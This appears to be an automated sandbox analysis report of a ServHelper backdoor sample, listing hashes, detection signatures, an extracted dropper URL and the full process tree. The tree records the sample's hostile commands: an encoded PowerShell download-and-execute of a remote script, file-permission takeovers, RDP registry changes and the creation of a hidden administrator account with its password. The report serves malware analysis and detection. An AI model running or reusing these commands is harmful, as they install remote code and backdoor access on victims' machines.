Resubmissions

02-09-2021 16:57

210902-vgpzjadhhn 10

02-09-2021 16:25

210902-tw1h5sage4 10

02-09-2021 11:31

210902-9dk89x9wb2 10

14-08-2021 13:56

210814-xdxpv1yk2x 10

Analysis

  • max time kernel
    1750s
  • max time network
    1772s
  • platform
    windows7_x64
  • resource
    win7-en
  • submitted
    02-09-2021 16:25

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 59 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:588
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzulzwbo.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1056
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1047.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1046.tmp"
          4⤵
            PID:936
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:560
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:792
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1584
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1676
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1964
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1396
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:844
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1352
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1324
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:320
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1516
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1636
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1600
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1812
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:936
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1580
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1192
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1684
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1584
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1676
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1092
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1956
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1380
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1092
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:780
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:316
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1700
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1600
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc iBs6lfst /add
                                  1⤵
                                    PID:2012
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc iBs6lfst /add
                                      2⤵
                                        PID:1812
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc iBs6lfst /add
                                          3⤵
                                            PID:1696
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1192
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1708
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:780
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" KJUCCLUP$ /ADD
                                              1⤵
                                                PID:880
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" KJUCCLUP$ /ADD
                                                  2⤵
                                                    PID:676
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" KJUCCLUP$ /ADD
                                                      3⤵
                                                        PID:1704
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1360
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1776
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1628
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc iBs6lfst
                                                          1⤵
                                                            PID:936
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc iBs6lfst
                                                              2⤵
                                                                PID:1524
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc iBs6lfst
                                                                  3⤵
                                                                    PID:456
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:676
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1724
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1696
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1188
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1396
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1812
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1176
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                                                        1⤵
                                                                          PID:1692
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 111213
                                                                            2⤵
                                                                              PID:1168
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 111213
                                                                                3⤵
                                                                                  PID:2004
                                                                              • C:\Windows\system32\net.exe
                                                                                net user wgautilacc /active:yes
                                                                                2⤵
                                                                                  PID:2036
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 user wgautilacc /active:yes
                                                                                    3⤵
                                                                                      PID:912

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • memory/560-83-0x0000000002642000-0x0000000002644000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/560-84-0x0000000002644000-0x0000000002647000-memory.dmp

                                                                                  Filesize

                                                                                  12KB

                                                                                • memory/560-90-0x000000000264C000-0x000000000266B000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/560-81-0x000000001B7C0000-0x000000001BABF000-memory.dmp

                                                                                  Filesize

                                                                                  3.0MB

                                                                                • memory/560-82-0x0000000002640000-0x0000000002642000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/560-85-0x0000000002647000-0x0000000002648000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/560-80-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

                                                                                  Filesize

                                                                                  11.4MB

                                                                                • memory/588-62-0x00000000023F2000-0x00000000023F4000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/588-63-0x00000000023F4000-0x00000000023F7000-memory.dmp

                                                                                  Filesize

                                                                                  12KB

                                                                                • memory/588-76-0x000000000241D000-0x000000000241E000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/588-61-0x00000000023F0000-0x00000000023F2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/588-60-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

                                                                                  Filesize

                                                                                  11.4MB

                                                                                • memory/588-59-0x000007FEFBBC1000-0x000007FEFBBC3000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/588-67-0x00000000023FB000-0x000000000241A000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/792-107-0x0000000002657000-0x0000000002658000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/792-102-0x000000001B950000-0x000000001BC4F000-memory.dmp

                                                                                  Filesize

                                                                                  3.0MB

                                                                                • memory/792-106-0x0000000002654000-0x0000000002657000-memory.dmp

                                                                                  Filesize

                                                                                  12KB

                                                                                • memory/792-105-0x0000000002652000-0x0000000002654000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/792-104-0x000000000265C000-0x000000000267B000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/792-103-0x0000000002650000-0x0000000002652000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/792-101-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

                                                                                  Filesize

                                                                                  11.4MB

                                                                                • memory/1056-75-0x00000000020D0000-0x00000000020D2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1160-92-0x0000000002820000-0x0000000002822000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1160-93-0x0000000002822000-0x0000000002824000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1160-95-0x0000000002824000-0x0000000002827000-memory.dmp

                                                                                  Filesize

                                                                                  12KB

                                                                                • memory/1160-96-0x0000000002827000-0x0000000002828000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1160-91-0x000000001B8F0000-0x000000001BBEF000-memory.dmp

                                                                                  Filesize

                                                                                  3.0MB

                                                                                • memory/1160-89-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

                                                                                  Filesize

                                                                                  11.4MB

                                                                                • memory/1160-94-0x000000000282C000-0x000000000284B000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/1176-151-0x00000000011D2000-0x00000000011D4000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1176-153-0x00000000011DB000-0x00000000011FA000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/1176-152-0x00000000011D4000-0x00000000011D7000-memory.dmp

                                                                                  Filesize

                                                                                  12KB

                                                                                • memory/1176-149-0x000007FEEB060000-0x000007FEEBBBD000-memory.dmp

                                                                                  Filesize

                                                                                  11.4MB

                                                                                • memory/1176-150-0x00000000011D0000-0x00000000011D2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1996-56-0x00000000411B6000-0x00000000411B7000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1996-57-0x00000000411B7000-0x00000000411B8000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1996-52-0x0000000041650000-0x0000000041A70000-memory.dmp

                                                                                  Filesize

                                                                                  4.1MB

                                                                                • memory/1996-54-0x00000000411B2000-0x00000000411B4000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1996-55-0x00000000411B4000-0x00000000411B6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB